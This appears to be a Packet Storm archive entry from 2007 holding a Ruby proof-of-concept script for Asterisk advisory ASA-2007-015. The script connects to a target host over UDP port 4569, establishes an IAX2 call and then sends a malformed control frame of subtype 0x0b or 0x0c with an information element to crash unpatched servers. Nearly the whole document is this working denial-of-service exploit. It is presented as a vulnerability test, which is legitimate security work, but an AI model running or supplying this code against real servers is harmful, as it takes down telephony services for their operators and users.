asa-2007-015.rb.txt

2007-08-01T00:00:00
ID PACKETSTORM:58211
Type packetstorm
Reporter tenkei_ev
Modified 2007-08-01T00:00:00

Description

                                        
                                            `#!/usr/bin/env ruby  
# author = tenkei_ev  
# Script to test chan_iax for the vuln in ASA-2007-015  
# Trigger subtypes of 11 or 12 will crash an unpatched server  
#  
# First establish a call - send new, recv accept, send ack, recv answer, send ack  
# Then send IAX2 control packets with subtypes 0x0b or 0x0c that contain an information element  
# If asterisk sends an ACK to the trigger, it didn't crash  
# If no ACK is read off the socket during the timeout, consider asterisk to be crashed  
#  
# If any of the expected responses aren't received, asterisk may not crash when sending the trigger  
  
require 'socket'  
require 'timeout'  
  
hostname = nil  
trigger_subtype = nil  
  
if(ARGV.length < 2 )   
$stderr.puts "#{$0} <hostname> <Trigger subtype>\r\n"  
exit -1  
else  
hostname = ARGV[0]  
if(ARGV[1][0,2] == '0x' || ARGV[1][0,2] == '0X')  
trigger_subtype = ARGV[1].hex  
else  
trigger_subtype = ARGV[1].to_i   
end  
end  
  
t = UDPSocket.new  
t.connect(hostname,4569)  
  
puts "[*] Sending NEW #{hostname}"  
iax2_new =   
[  
# HEADER  
1 << 15 | 1, # full-frame bit and source call number  
0, # retransmit bit and destination call number  
0, # timestamp  
0, # outbound stream sequence number  
0, # inbound stream sequence number - need to reset to 0  
0x06, # Frame type - IAX2 Control frame  
1, # IAX2 NEW, C bit unset  
  
# VERSION IE  
0x0b,  
0x02,  
0x02,  
  
# FORMAT IE  
# trying to match asterisk - ymmv if your asterisk server rejects you,   
# change this to match some codecs asterisk expects  
0x09,  
0x04,  
0xe703,  
].pack("nnNCCCC CCn CCN")  
  
t.write(iax2_new)  
  
iax2_accept,sender = t.recvfrom(1024)  
resp = iax2_accept.unpack("nnNCCCCCCN")  
srccall = resp[0] & 0x7fff  
dstcall = resp[1] & 0x7fff  
timestamp = resp[2]  
oseq = resp[3]  
iseq = resp[4]  
frametype = resp[5]  
subtype = resp[6]  
  
if(frametype == 6 && subtype == 7)  
puts "[*] ACCEPT received from #{hostname}"  
else  
puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"  
end  
  
puts "[*] Sending ACK"  
iax2_ack =   
[  
1 << 15 | dstcall & 0x7fff,  
0 << 15 | srccall & 0x7fff,  
timestamp.to_i + 1000,  
iseq,  
oseq,  
0x06, # IAX2 Control frame  
0 << 7 | 0x04 & 0x7f, # IAX2 ACK  
].pack("nnNCCCC")  
  
t.write(iax2_ack)  
  
iax2_answer,sender = t.recvfrom(1024)  
resp = iax2_answer.unpack("nnNCCCCCCN")  
srccall = resp[0] & 0x7fff  
dstcall = resp[1] & 0x7fff  
timestamp = resp[2]  
oseq = resp[3]  
iseq = resp[4]  
frametype = resp[5]  
subtype = resp[6]  
  
if(frametype == 4 && subtype == 4)  
puts "[*] ANSWER received from #{hostname}"  
else  
puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`"  
end  
  
puts "[*] Sending ACK"  
iax2_ack =   
[  
1 << 15 | dstcall & 0x7fff,  
0 << 15 | srccall & 0x7fff,  
timestamp.to_i + 1000,  
iseq,  
oseq,  
0x06, # IAX2 Control frame  
0 << 7 | 0x04 & 0x7f, # IAX2 ACK, C bit unset  
].pack("nnNCCCC")  
  
t.write(iax2_ack)  
  
puts "[*] Sending trigger"  
trigger =  
[  
1 << 15 | dstcall & 0x7fff,  
0 << 15 | srccall & 0x7fff,  
timestamp.to_i + 1000,  
iseq,  
oseq,  
0x06,  
trigger_subtype,  
  
# IE  
0x0b,  
0x02,  
0x02,  
  
].pack("nnNCCCC CCn ")  
  
t.write(trigger)  
  
begin  
  
timeout_seconds = 2  
  
Timeout::timeout(timeout_seconds) do |tlength|  
while(trigger_ack = t.recvfrom(1024))  
resp = trigger_ack[0].unpack("nnNCCCCCCN")  
srccall = resp[0] & 0x7fff  
dstcall = resp[1] & 0x7fff  
timestamp = resp[2]  
oseq = resp[3]  
iseq = resp[4]  
frametype = resp[5]  
subtype = resp[6]  
if(frametype == 6 && subtype == 4)  
puts "[!] Asterisk survived"  
exit  
end  
end  
end  
  
rescue Timeout::Error => e  
puts "[!!!] Asterisk died"  
rescue ::Exception => e  
end  
  
t.close`